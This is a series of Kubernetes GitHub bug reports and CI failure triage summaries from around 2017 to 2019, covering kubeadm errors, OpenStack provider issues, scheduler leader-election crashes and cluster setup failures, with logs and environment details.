assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | spxtr |  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: http  conformance  | | sig/network |  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: http  conformance  |  </details><br>   current status  https://go.k8s.io/triage b9e2d555dd92fa5efab6

failure cluster  5e0e2741a79ee16c32c8  https://go.k8s.io/triage 5e0e2741a79ee16c32c8        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1185 jul  9 16:26:42.415: expected un-ready endpoint for service slow-terminating-unready-pod within 5m0s, stdout:  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1123           failure cluster statistics: 1 tests failed,    23 jobs failed,    185 builds failed. failure stats cover 1 day time range '10 jul 2017 17:23 utc' to '11 jul 2017 17:23 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  services should create endpoints for unready pods | 23 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-gci-1-6-cvm-1-7-upgrade-cluster | 12 |  11 jul 2017 15:55 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-6-cvm-1-7-upgrade-cluster/210  | | ci-kubernetes-e2e-gke-cvm-1-6-gci-1-7-upgrade-master | 12 |  11 jul 2017 15:38 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-gci-1-7-upgrade-master/199  | | ci-kubernetes-e2e-gke-gci-1-5-gci-1-7-upgrade-master | 12 |  11 jul 2017 15:55 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-5-gci-1-7-upgrade-master/217  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | maisem |  k8s.io  services should create endpoints for unready pods | | sig/network |  k8s.io  services should create endpoints for unready pods |  </details><br>   current status  https://go.k8s.io/triage 5e0e2741a79ee16c32c8

is this a bug report or feature request?  :\r   /assign\r \r   what happened  :\r currently openstack support cinder v3 api,but openstack cloud provider just support cinder v1 api and cinder v2 api. we konw that cinder v1 api and cinder v2 api have been deprecated. so it is necessary to support volumesv3 for openstack cloud provider.\r \r cinder v1 api deprecated :\r https://specs.openstack.org/openstack/cinder-specs/specs/juno/deprecate_v1_api.html\r \r cinder v2 api deprecated :\r https://developer.openstack.org/api-ref/block-storage/v2/\r \r cinder v3 api current :\r https://developer.openstack.org/api-ref/block-storage/v3/\r \r   what you expected to happen  :\r 1. the cinder v1 api has been deprecated long time as v2 has been developed back in grizzly and stable, so deprecate volumesv1 for openstack cloud provider now.\r 2. many large openstack user also use lbaasv2 in production, just keep it.\r 3. support volumesv3 \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r we have talked loog time:  50239  49318\r i'd like to start this work now.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.3\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r on a fresh ubuntu 16.04.3 system booted from the official cloud image,  kubeadm init  fails because  /var/lib/kubelet  exists.\r    \r root@kubemaster:~  kubeadm init\r  kubeadm  warning: kubeadm is in beta, please do not use it for production clusters.\r  init  using kubernetes version: v1.8.0\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks\r  preflight  some fatal errors occurred:\r         /var/lib/kubelet is not empty\r  preflight  if you know what you are doing, you can skip pre-flight checks with  --skip-preflight-checks \r    \r \r   what you expected to happen  :\r kubeadm successfully initializes the cluster\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. boot a new vm from the latest  ubuntu cloud image  https://cloud-images.ubuntu.com/xenial/current/ \r 1.  apt-get install -y apt-transport-https docker.io \r 1. follow the  kubeadm installation instructions  https://kubernetes.io/docs/setup/independent/install-kubeadm/ installing-kubeadm-kubelet-and-kubectl \r 1.  kubeadm init \r \r   anything else we need to know?  :\r contents of  /var/lib/kubelet :\r    \r /var/lib/kubelet\r /var/lib/kubelet/pki\r /var/lib/kubelet/pki/kubelet.crt\r /var/lib/kubelet/pki/kubelet.key\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r        \r     root@kubemaster:~  kubectl version\r     client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     the connection to the server localhost:8080 was refused - did you specify the right host or port?\r     \r     root@kubemaster:~  apt search kube\r     sorting... done\r     full text search... done\r     kubeadm/kubernetes-xenial,now 1.8.0-01 amd64  installed \r       kubernetes cluster bootstrapping tool\r     \r     kubectl/kubernetes-xenial,now 1.8.0-00 amd64  installed,automatic \r       kubernetes command line tool\r     \r     kubelet/kubernetes-xenial,now 1.8.0-00 amd64  installed,automatic \r       kubernetes node agent\r     \r     kubernetes-cni/kubernetes-xenial,now 0.5.1-00 amd64  installed,automatic \r       kubernetes cni\r        \r - cloud provider or hardware configuration: hyper-v generation 1 virtual machine\r - os  e.g. from /etc/os-release :\r        \r     name=\ ubuntu\ \r     version=\ 16.04.3 lts  xenial xerus \ \r     id=ubuntu\r     id_like=debian\r     pretty_name=\ ubuntu 16.04.3 lts\ \r     version_id=\ 16.04\ \r     home_url=\ http://www.ubuntu.com/\ \r     support_url=\ http://help.ubuntu.com/\ \r     bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r     version_codename=xenial\r     ubuntu_codename=xenial\r        \r - kernel  e.g.  uname -a  :  linux kubemaster 4.4.0-96-generic  119-ubuntu smp tue sep 12 14:59:54 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools: none\r - others: none

i came across a cluster where it has 2 services with port collision. \r \r one service looks like this:\r    \r type: loadbalancer\r externaltrafficpolicy: local\r healthchecknodeport: ${collided port}\r    \r \r the other looks like:\r    \r ...\r   annotation: cloud.google.com/load-balancer-type=internal\r spec: \r   type: loadbalancer\r   externaltrafficpolicy: cluster\r   ports\r   - nodeport: ${collided port}\r     ....\r    \r \r i checked the logic that allocates nodeport and healthcheck nodeport. they went thru the same node port allocator. port allocation mainly happens in  initnodeports ,  updatenodeports  and  allocatehealthchecknodeport . the file in question is https://github.com/kubernetes/kubernetes/blob/release-1.8/pkg/registry/core/service/rest.go\r \r \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the openstack of the cloud provider automatically creates an ipv4 and an ipv6 addresses for new compute instances.\r \r when a node is attached to openstack  via  cloud.conf  , both addresses appears in the  spec  section of node info, for instance:\r \r    \r   status:\r     addresses:\r     - address: 2001:41d0:302:1100::a:1720\r       type: internalip\r     - address: 54.38.91.250\r       type: internalip\r     - address: k8s-worker-1\r       type: hostname\r    \r \r for some operations, it now fails because ipv6 is not configured in nodes and openstack filter rules drop ipv6 packets. for instance kubectl to a pod in worker returns a tcp error \ cannot connect to  ipv6 address \ \r \r it seems that kubernetes takes the first address from the status entry. as it is not possible to reject the ipv6 address from the openstack side, is there a way to not use on the kubernetes side ?\r \r   what you expected to happen  :\r \r kubernetes does not use ipv6 addresses because it is not configured.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use a default openstack network with an ipv4 and ipv6 addresses.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9\r - cloud provider or hardware configuration: openstack on ovh\r - os  e.g. from /etc/os-release :\r \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1632.3.0\r version_id=1632.3.0\r build_id=2018-02-14-0338\r pretty_name=\ container linux by coreos 1632.3.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r \r - kernel  e.g.  uname -a  :\r \r    \r linux k8s-master-0 4.14.19-coreos  1 smp wed feb 14 03:18:05 utc 2018 x86_64 intel core processor  haswell, no tsx  genuineintel gnu/linux\r    \r \r - install tools: kubeadm\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r kube-scheduler, scheduler, dies, lost, master\r \r   what happened  :\r the kube-scheduler process dies in a cluster which lost two of three master nodes while kube-apiserver is still working. all the three master nodes were running etcd/kube-apiserver/controller/scheduler components. \r \r    \r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : i1107 14:37:56.340805   30766 leaderelection.go:243  lock is held by 10-2-146-46_e3be14f7-e256-11e8-ae98-0050569e4dac and has not yet expired\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : i1107 14:37:56.340874   30766 round_trippers.go:384  get http://10.2.146.250:8080/api/v1/namespaces/kube-system/endpoints/kube-scheduler\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : i1107 14:37:56.340882   30766 round_trippers.go:391  request headers:\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : i1107 14:37:56.340886   30766 round_trippers.go:394      accept: application/vnd.kubernetes.protobuf,  / \r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : i1107 14:37:56.340891   30766 round_trippers.go:394      user-agent: kube-scheduler/v1.10.8  linux/amd64  kubernetes/7eab6a4/leader-election\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : i1107 14:37:56.342930   30766 round_trippers.go:409  response status: 200 ok in 2 milliseconds\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : i1107 14:37:56.342949   30766 round_trippers.go:412  response headers:\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : i1107 14:37:56.342955   30766 round_trippers.go:415      content-type: application/vnd.kubernetes.protobuf\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : i1107 14:37:56.342959   30766 round_trippers.go:415      date: wed, 07 nov 2018 06:37:56 gmt\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : i1107 14:37:56.342964   30766 round_trippers.go:415      content-length: 415\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : i1107 14:37:56.343034   30766 request.go:872  response body:\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000000  6b 38 73 00 0a 0f 0a 02  76 31 12 09 45 6e 64 70  |k8s.....v1..endp|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000010  6f 69 6e 74 73 12 83 03  0a 80 03 0a 0e 6b 75 62  |oints........kub|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000020  65 2d 73 63 68 65 64 75  6c 65 72 12 00 1a 0b 6b  |e-scheduler....k|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000030  75 62 65 2d 73 79 73 74  65 6d 22 37 2f 61 70 69  |ube-system\ 7/api|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000040  2f 76 31 2f 6e 61 6d 65  73 70 61 63 65 73 2f 6b  |/v1/namespaces/k|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000050  75 62 65 2d 73 79 73 74  65 6d 2f 65 6e 64 70 6f  |ube-system/endpo|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000060  69 6e 74 73 2f 6b 75 62  65 2d 73 63 68 65 64 75  |ints/kube-schedu|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000070  6c 65 72 2a 24 61 64 31  65 61 39 64 32 2d 65 32  |ler $ad1ea9d2-e2|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000080  33 64 2d 31 31 65 38 2d  38 66 30 38 2d 30 30 35  |3d-11e8-8f08-005|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000090  30 35 36 39 65 66 34 61  33 32 05 31 36 39 38 36  |0569ef4a32.16986|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 000000a0  38 00 42 08 08 ac b9 89  df 05 10 00 62 ea 01 0a  |8.b.........b...|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 000000b0  28 63 6f 6e 74 72 6f 6c  2d 70 6c 61 6e 65 2e 61  | control-plane.a|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 000000c0  6c 70 68 61 2e 6b 75 62  65 72 6e 65 74 65 73 2e  |lpha.kubernetes  truncated 1029 chars \r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : i1107 14:37:56.343119   30766 leaderelection.go:243  lock is held by 10-2-146-46_e3be14f7-e256-11e8-ae98-0050569e4dac and has not yet expired\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : i1107 14:37:56.343175   30766 leaderelection.go:203  failed to renew lease kube-system/kube-scheduler: timed out waiting for the condition\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : e1107 14:37:56.343201   30766 server.go:612  lost master\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : f1107 14:37:56.343230   30766 helpers.go:119  error: lost lease\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : i1107 14:37:56.344868   30766 request.go:872  request body:\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000000  6b 38 73 00 0a 0b 0a 02  76 31 12 05 45 76 65 6e  |k8s.....v1..even|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000010  74 12 aa 02 0a 3c 0a 1f  6b 75 62 65 2d 73 63 68  |t....<..kube-sch|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000020  65 64 75 6c 65 72 2e 31  35 36 34 63 34 32 65 37  |eduler.1564c42e7|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000030  38 65 31 62 37 64 33 12  00 1a 0b 6b 75 62 65 2d  |8e1b7d3....kube-|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000040  73 79 73 74 65 6d 22 00  2a 00 32 00 38 00 42 00  |system\ . .2.8.b.|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000050  7a 00 12 5b 0a 09 45 6e  64 70 6f 69 6e 74 73 12  |z.. ..endpoints.|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000060  0b 6b 75 62 65 2d 73 79  73 74 65 6d 1a 0e 6b 75  |.kube-system..ku|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000070  62 65 2d 73 63 68 65 64  75 6c 65 72 22 24 61 64  |be-scheduler\ $ad|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000080  31 65 61 39 64 32 2d 65  32 33 64 2d 31 31 65 38  |1ea9d2-e23d-11e8|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 00000090  2d 38 66 30 38 2d 30 30  35 30 35 36 39 65 66 34  |-8f08-0050569ef4|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 000000a0  61 33 2a 02 76 31 32 05  31 36 39 38 36 3a 00 1a  |a3 .v12.16986:..|\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 000000b0  0e 4c 65 61 64 65 72 45  6c 65 63 74 69 6f 6e 22  |.leaderelection\ |\r nov  7 14:37:56 10-2-146-48 kube-scheduler 30766 : 000000c0  40 31 30 2d 32 2d 31 34  36 2d 34 38 5f 37 33 32  |@10-2-146-48_73  truncated 621 chars \r    \r \r   what you expected to happen  :\r kube-scheduler should renew the leader and continue running \r \r   how to reproduce it  as minimally and precisely as possible   :\r kill two of three master nodes, kube-scheduler running in the healthy one dies.\r \r   anything else we need to know?  :\r at the same time , kube-apiserver is still working.\r    \r root@10-2-146-48:/var/log/upstart  curl http://10.2.146.250:8080/api/v1/namespaces/kube-system/endpoints/kube-scheduler\r {\r   \ kind\ : \ endpoints\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ name\ : \ kube-scheduler\ ,\r     \ namespace\ : \ kube-system\ ,\r     \ selflink\ : \ /api/v1/namespaces/kube-system/endpoints/kube-scheduler\ ,\r     \ uid\ : \ ad1ea9d2-e23d-11e8-8f08-0050569ef4a3\ ,\r     \ resourceversion\ : \ 16986\ ,\r     \ creationtimestamp\ : \ 2018-11-07t03:31:56z\ ,\r     \ annotations\ : {\r       \ control-plane.alpha.kubernetes.io/leader\ : \ {\\\ holderidentity\\\ :\\\ 10-2-146-46_e3be14f7-e256-11e8-ae98-0050569e4dac\\\ ,\\\ leasedurationseconds\\\ :15,\\\ acquiretime\\\ :\\\ 2018-11-07t06:32:47z\\\ ,\\\ renewtime\\\ :\\\ 2018-11-07t06:36:04z\\\ ,\\\ leadertransitions\\\ :6}\ \r     }\r   }\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.8\r - cloud provider or hardware configuration:  ubuntu\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : linux 10-2-146-48 4.4.0-116-generic  140-ubuntu smp mon feb 12 21:23:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: binary run\r - others:\r etcd cluster  5 nodes ; \r kube-apiserver/controller/scheduler 3 nodes + vip + haproxy in master-backup mode serving kube-apiserver \r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r    \r kubeadm init phase kubeconfig all\r  kubeconfig  using kubeconfig folder \ /etc/kubernetes\ \r  kubeconfig  using existing kubeconfig file: \ /etc/kubernetes/admin.conf\ \r  kubeconfig  using existing kubeconfig file: \ /etc/kubernetes/kubelet.conf\ \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x18 pc=0x116df4b \r \r goroutine 1  running :\r k8s.io/kubernetes/cmd/kubeadm/app/phases/kubeconfig.validatekubeconfig 0x1832c77, 0xf, 0x183d82d, 0x17, 0xc000080420, 0xc000284000, 0xc000285800 \r         /workspace/anago-v1.14.3-beta.0.37+5e53fd6bc17c0d/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/phases/kubeconfig/kubeconfig.go:242 +0x19b\r k8s.io/kubernetes/cmd/kubeadm/app/phases/kubeconfig.createkubeconfigfileifnotexists 0x1832c77, 0xf, 0x183d82d, 0x17, 0xc000080420, 0x0, 0x0 \r         /workspace/anago-v1.14.3-beta.0.37+5e53fd6bc17c0d/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/phases/kubeconfig/kubeconfig.go:263 +0x108\r k8s.io/kubernetes/cmd/kubeadm/app/phases/kubeconfig.createkubeconfigfiles 0x1832c77, 0xf, 0xc00024a000, 0xc0001a9a60, 0x1, 0x1, 0x18e2dc0, 0xc0001a9a80 \r         /workspace/anago-v1.14.3-beta.0.37+5e53fd6bc17c0d/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/phases/kubeconfig/kubeconfig.go:122 +0x142\r k8s.io/kubernetes/cmd/kubeadm/app/phases/kubeconfig.createkubeconfigfile 0x183d82d, 0x17, 0x1832c77, 0xf, 0xc00024a000, 0x8b9bee3c1af8801, 0xc0001a9b30 \r         /workspace/anago-v1.14.3-beta.0.37+5e53fd6bc17c0d/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/phases/kubeconfig/kubeconfig.go:95 +0xe2\r k8s.io/kubernetes/cmd/kubeadm/app/cmd/phases/init.runkubeconfigfile.func1 0x17ad400, 0xc000358210, 0x0, 0x0 \r         /workspace/anago-v1.14.3-beta.0.37+5e53fd6bc17c0d/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/cmd/phases/init/kubeconfig.go:143 +0x1b7\r k8s.io/kubernetes/cmd/kubeadm/app/cmd/phases/workflow.  runner .run.func1 0xc00021d500, 0x0, 0x0 \r         /workspace/anago-v1.14.3-beta.0.37+5e53fd6bc17c0d/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/cmd/phases/workflow/runner.go:235 +0x11a\r k8s.io/kubernetes/cmd/kubeadm/app/cmd/phases/workflow.  runner .visitall 0xc0000d5dd0, 0xc0001a9c78, 0x0, 0x0 \r         /workspace/anago-v1.14.3-beta.0.37+5e53fd6bc17c0d/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/cmd/phases/workflow/runner.go:420 +0x6e\r k8s.io/kubernetes/cmd/kubeadm/app/cmd/phases/workflow.  runner .run 0xc0000d5dd0, 0x29e6660, 0x0, 0x0, 0x1826a06, 0x4 \r         /workspace/anago-v1.14.3-beta.0.37+5e53fd6bc17c0d/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/cmd/phases/workflow/runner.go:208 +0x14e\r k8s.io/kubernetes/cmd/kubeadm/app/cmd/phases/workflow.  runner .bindtocommand.func1.1 0xc000525680, 0x29e6660, 0x0, 0x0 \r         /workspace/anago-v1.14.3-beta.0.37+5e53fd6bc17c0d/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/cmd/phases/workflow/runner.go:349 +0xeb\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc000525680, 0x29e6660, 0x0, 0x0, 0xc000525680, 0x29e6660 \r         /workspace/anago-v1.14.3-beta.0.37+5e53fd6bc17c0d/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:760 +0x2ae\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc00011fb80, 0xc0000aa000, 0x1a811a0, 0xc0000aa008 \r         /workspace/anago-v1.14.3-beta.0.37+5e53fd6bc17c0d/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:846 +0x2ec\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute ... \r         /workspace/anago-v1.14.3-beta.0.37+5e53fd6bc17c0d/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:794\r k8s.io/kubernetes/cmd/kubeadm/app.run 0x0, 0x918 \r         /workspace/anago-v1.14.3-beta.0.37+5e53fd6bc17c0d/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/kubeadm.go:50 +0x210\r main.main  \r         _output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/kubeadm.go:29 +0x33\r    \r \r   what happened  :\r  kubeconfig  using existing kubeconfig file: \ /etc/kubernetes/kubelet.conf\ \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x18 pc=0x116df4b \r \r \r \r   what you expected to happen  :\r should pass ok, or return an message describing what's wrong.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run  kubeadm init phase kubeconfig all \r \r   anything else we need to know?  :\r my cluster failed due to expired certs, i followed https://stackoverflow.com/questions/56320930/renew-kubernetes-pki-after-expired to recover it, but /etc/kubernetes/bootstrap-kubelet.conf got mia - so i copied it from another node. also /etc/kubernetes/admin.conf got missing, so i copied that from /root/.kube/config. after that i tried  kubeadm init phase kubeconfig all  which panics.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.3\ , gitcommit:\ 5e53fd6bc17c0dec8434817e69b04a25d8ae0ff0\ , gittreestate:\ clean\ , builddate:\ 2019-06-06t01:44:30z\ , goversion:\ go1.12.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r error: you must be logged in to the server  the server has asked for the client to provide credentials \r \r - cloud provider or hardware configuration:\r bare-metal\r - os  e.g:  cat /etc/os-release  :\r cat /etc/os-release \r name=\ ubuntu\ \r version=\ 18.04.2 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.2 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r \r - kernel  e.g.  uname -a  :\r uname -a\r linux main.lan.davidkarlsen.com 4.15.0-51-generic  55-ubuntu smp wed may 15 14:27:21 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r kubeadm\r \r - network plugin and version  if this is a network-related bug :\r calico\r - others:\r

dear all,   we met this kind of issue when do \ kubernetes_provider=ubuntu ./kube-up.sh\ .   the issue came at the below step, - /root/kube/reconfdocker.sh i   docker stop/waiting   docker start/running, process 4601   connection to 192.168.132.4 closed.   validating master   validating root@192.168.132.2   validating root@192.168.132.3   validating root@192.168.132.4   using master 192.168.132.2   cluster \ ubuntu\  set.   user \ ubuntu\  set.   context \ ubuntu\  set.   switched to context \ ubuntu\ .   wrote config for ubuntu to /root/.kube/config   ... calling validate-cluster   error from server: an error on the server has prevented the request from succeeding    kubectl failed, will retry 2 times    error from server: an error on the server has prevented the request from succeeding    kubectl failed, will retry 1 times   ... calling validate-cluster error from server: an error on the server has prevented the request from succeeding  kubectl failed, will retry 2 times  error from server: an error on the server has prevented the request from succeeding  kubectl failed, will retry 1 times  error from server: an error on the server has prevented the request from succeeding  'kubectl get nodes' failed, giving up  error from server: an error on the server has prevented the request from succeeding  kubectl failed, will retry 2 times

or describe what to do to get the required configs in place.   link: http://kubernetes.io/docs/admin/federation/  currently it only says:      this guide assumes that we have a running kubernetes cluster.  if not, then head over to the getting started guides to bring up a cluster.          once we have the images, we can run these as pods on our existing kubernetes cluster.  the command to run these pods on an existing gce cluster will look like:      if the required config is not there the set up process ends up with  31071.  cc: @kubernetes/sig-cluster-federation

hey guys, i'm having the problem when trying to start the cluster. kubernetes version is 1.4.0 . how can to solve it ? thanks.  cmd:  kubernetes_provider=ubuntu ./kube-up.sh   ... starting cluster using provider: ubuntu ... calling verify-prereqs identity added: /home/zhigang/.ssh/id_rsa  /home/zhigang/.ssh/id_rsa  ... calling kube-up /usr/local/develop/kubernetes/cluster/ubuntu /usr/local/develop/kubernetes/cluster prepare flannel 0.5.5 release ... prepare etcd 2.3.1 release ... prepare kubernetes 1.4.0 release ... done! all your binaries locate in kubernetes/cluster/ubuntu/binaries directory /usr/local/develop/kubernetes/cluster  deploying master and node on machine 192.168.11.128 make-ca-cert.sh                                                                                                                                                                                            100% 4136     4.0kb/s   00:00 easy-rsa.tar.gz                                                                                                                                                                                            100%   42kb  42.4kb/s   00:00 config-default.sh                                                                                                                                                                                          100% 5551     5.4kb/s   00:00 util.sh                                                                                                                                                                                                    100%   29kb  28.9kb/s   00:00 kube-proxy.conf                                                                                                                                                                                            100%  688     0.7kb/s   00:00 kubelet.conf                                                                                                                                                                                               100%  645     0.6kb/s   00:00 kubelet                                                                                                                                                                                                    100% 2158     2.1kb/s   00:00 kube-proxy                                                                                                                                                                                                 100% 2233     2.2kb/s   00:00 etcd.conf                                                                                                                                                                                                  100%  707     0.7kb/s   00:00 kube-apiserver.conf                                                                                                                                                                                        100%  682     0.7kb/s   00:00 kube-scheduler.conf                                                                                                                                                                                        100%  682     0.7kb/s   00:00 kube-controller-manager.conf                                                                                                                                                                               100%  761     0.7kb/s   00:00 kube-apiserver                                                                                                                                                                                             100% 2358     2.3kb/s   00:00 kube-scheduler                                                                                                                                                                                             100% 2360     2.3kb/s   00:00 kube-controller-manager                                                                                                                                                                                    100% 2672     2.6kb/s   00:00 etcd                                                                                                                                                                                                       100% 2073     2.0kb/s   00:00 reconfdocker.sh                                                                                                                                                                                            100% 2082     2.0kb/s   00:00 kube-apiserver                                                                                                                                                                                             100%  144mb  48.1mb/s   00:03 kube-scheduler                                                                                                                                                                                             100%   77mb  77.0mb/s   00:01 kube-controller-manager                                                                                                                                                                                    100%  135mb  33.6mb/s   00:04 flanneld                                                                                                                                                                                                   100%   16mb  15.8mb/s   00:01 etcd                                                                                                                                                                                                       100%   16mb  15.9mb/s   00:00 etcdctl                                                                                                                                                                                                    100%   14mb  13.7mb/s   00:00 kubelet                                                                                                                                                                                                    100%  123mb  61.4mb/s   00:02 kube-proxy                                                                                                                                                                                                 100%   69mb  34.7mb/s   00:02 flanneld                                                                                                                                                                                                   100%   16mb  15.8mb/s   00:00 flanneld.conf                                                                                                                                                                                              100%  579     0.6kb/s   00:00 flanneld                                                                                                                                                                                                   100% 2121     2.1kb/s   00:00 flanneld.conf                                                                                                                                                                                              100%  570     0.6kb/s   00:00 flanneld                                                                                                                                                                                                   100% 2131     2.1kb/s   00:00 warning: etcd.service changed on disk. run 'systemctl daemon-reload' to reload units. error:  client: etcd cluster is unavailable or misconfigured error  0: dial tcp 127.0.0.1:2379: getsockopt: connection refused error  1: dial tcp 127.0.0.1:4001: getsockopt: connection refused  